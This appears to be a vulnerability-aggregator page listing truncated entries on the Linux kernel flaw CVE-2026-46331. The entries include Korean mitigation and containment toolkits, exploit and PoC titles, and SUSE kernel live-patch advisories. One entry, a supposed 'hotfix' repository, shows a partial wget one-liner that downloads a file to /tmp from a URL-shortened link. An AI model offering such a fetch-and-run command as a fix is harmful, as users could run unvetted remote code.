CVE-2026-46331

CVE-2026-46331 - "pedit COW" 취약점 평가 및 완화 가이드 이 저장소에는 Linux 커널의 로컬 권한 상승 취약점 CVE-2026-46331"pedit COW"로 알려짐에 대한 노출 여부를 확인하고 임시 완화 조치를 적용하기 위한 기본적인 관리 도구가 포함되어 있습니다. 저장소 내용 1. check.sh : 현재 커널 버전과 사용자 네임스페이스 구성을 확인하여 시스템의 위험 수준을 평가하는 로컬 진단 스크립트입니다. 2. fixvulnerabilidad.sh : 비특권 네임스페이스 의 복제를 제한하여 즉시...

pagecache-lpe-containment-kit

페이지 캐시 LPE 차단 키트 Linux 페이지 캐시 손상 로컬 권한 상승 두 가지 — DirtyClone CVE-2026-43503 및 pedit COW CVE-2026-46331 — 에 대한 방어를 탐지, 차단 및 검증합니다. 호스트 및 컨테이너 대상. 이것은 교육적이고 방어적인 보안 키트입니다. 두 취약점이 시스템 호출 수준에서 어떻게 작동하는지 설명하고, 강화, 탐지, 검증 및 seccomp 도구를 제공합니다. 또한 실제 커널에서 도구가 작동함을 입증하는 검증 하네스를 포함합니다. 의도적으로 익스플로잇, 셸코드 또는 대...

cve_2026_frag_family_fix

frag family 취약점 완화 도구 / Mitigation tool for frag family vulnerability Copy Fail 2026 Dirty Frag 2026 Fragnesia 2026 DirtyClone 2026 PEdit-CoW 2026 모든 Linux에서 핫픽스 실행 / Run any Linux hotfix b="/tmp/cve2026fragfamilyfix"; wget -qO $b $wget -qO- https://bit.ly/4vetMTB | grep browserdownloadurl | grep...

Exploit for Out-of-bounds Write in Linux Linux_Kernel

PoC-CVE-2026-46...

Important: kernel6.12

Issue Overview: In the Linux kernel, the following vulnerability has been resolved: mm/pagealloc: clear page-private in freepagesprepare CVE-2026-43303 In the Linux kernel, the following vulnerability has been resolved: ipvs: skip ipv6 extension headers for csum checks CVE-2026-45850 In the Linux...

Exploit for CVE-2026-46331

CVE-2026-46331 - "pedit COW" Vulnerability Assessment & Mitiga...

pagecache-lpe-containment-kit

Page-Cache LPE Containment Kit Detect, contain, and verify...

CVE-2026-46331

creationtimestamp| type| source ---|---|--- 2026-06-26 13:26:58+00:00| seen| https://bsky.app/profile/infosecbriefly.bsky.social/post/3mp72c3a6uv2w 2026-06-26 13:35:18+00:00| seen| https://bsky.app/profile/cybernewsroom.bsky.social/post/3mp72qywylh2d 2026-06-26 13:38:12+00:00| seen|...

SUSE SLES15 Security Update : kernel (Live Patch 23 for SUSE Linux Enterprise 15 SP6) (SUSE-SU-2026:2559-1)

The remote SUSE Linux SLES15 host has a package installed that is affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:2559-1 advisory. This update for the SUSE Linux Enterprise Kernel 6.4.0-150600.23.100 fixes various security issues The following security issues were fixed: -...

SUSE-SU-2026:22428-1 Security update for the Linux Kernel (Live Patch 23 for SUSE Linux Enterprise Micro 6.0)

This update for the SUSE Linux Enterprise Kernel 6.4.0-46.1 fixes various security issues The following security issues were fixed: - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. - CVE-2026-31504: net: fix fanout UAF in packetrelease via NETDEVUP race bsc126308...

SUSE-SU-2026:22425-1 Security update for the Linux Kernel (Live Patch 20 for SUSE Linux Enterprise Micro 6.0)

This update for the SUSE Linux Enterprise Kernel 6.4.0-43.1 fixes various security issues The following security issues were fixed: - CVE-2025-54518: AMD-SN-7052: CPU OP Cache Corruption bsc1264096. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. - CVE-2026-3150...

SUSE-SU-2026:22474-1 Security update for the Linux Kernel (Live Patch 20 for SUSE Linux Enterprise Micro 6.0)

This update for the SUSE Linux Enterprise Kernel 6.4.0-43.1 fixes various security issues The following security issues were fixed: - CVE-2025-54518: AMD-SN-7052: CPU OP Cache Corruption bsc1264096. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. - CVE-2026-3150...

SUSE-SU-2026:22387-1 Security update for the Linux Kernel (Live Patch 6 for SUSE Linux Enterprise 16)

This update for the SUSE Linux Enterprise Kernel 6.12.0-160000.27.1 fixes various security issues The following security issues were fixed: - CVE-2026-23278: netfilter: nftables: always walk all pending catchall elements bsc1260907. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay...

SUSE-SU-2026:22389-1 Security update for the Linux Kernel (Live Patch 8 for SUSE Linux Enterprise 16)

This update for the SUSE Linux Enterprise Kernel 6.12.0-160000.29.1 fixes various security issues The following security issues were fixed: - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. - CVE-2026-31504: net: fix fanout UAF in packetrelease via NETDEVUP race...

SUSE-SU-2026:22404-1 Security update for the Linux Kernel RT (Live Patch 11 for SUSE Linux Enterprise Micro 6.0)

This update for the SUSE Linux Enterprise Kernel 6.4.0-32.1 fixes various security issues The following security issues were fixed: - CVE-2026-23278: netfilter: nftables: always walk all pending catchall elements bsc1260907. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache...

SUSE-SU-2026:22490-1 Security update for the Linux Kernel RT (Live Patch 22 for SUSE Linux Enterprise Micro 6.0)

This update for the SUSE Linux Enterprise Kernel 6.4.0-45.1 fixes various security issues The following security issues were fixed: - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. - CVE-2026-31504: net: fix fanout UAF in packetrelease via NETDEVUP race bsc126308...

SUSE-SU-2026:22402-1 Security update for the Linux Kernel (Live Patch 19 for SUSE Linux Enterprise Micro 6.0)

This update for the SUSE Linux Enterprise Kernel 6.4.0-42.1 fixes various security issues The following security issues were fixed: - CVE-2025-54518: AMD-SN-7052: CPU OP Cache Corruption bsc1264096. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. - CVE-2026-3150...

SUSE-SU-2026:2610-1 Security update for the Linux Kernel (Live Patch 11 for SUSE Linux Enterprise 15 SP6)

This update for the SUSE Linux Enterprise Kernel 6.4.0-150600.23.50 fixes various security issues The following security issues were fixed: - CVE-2026-23278: netfilter: nftables: always walk all pending catchall elements bsc1260907. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay...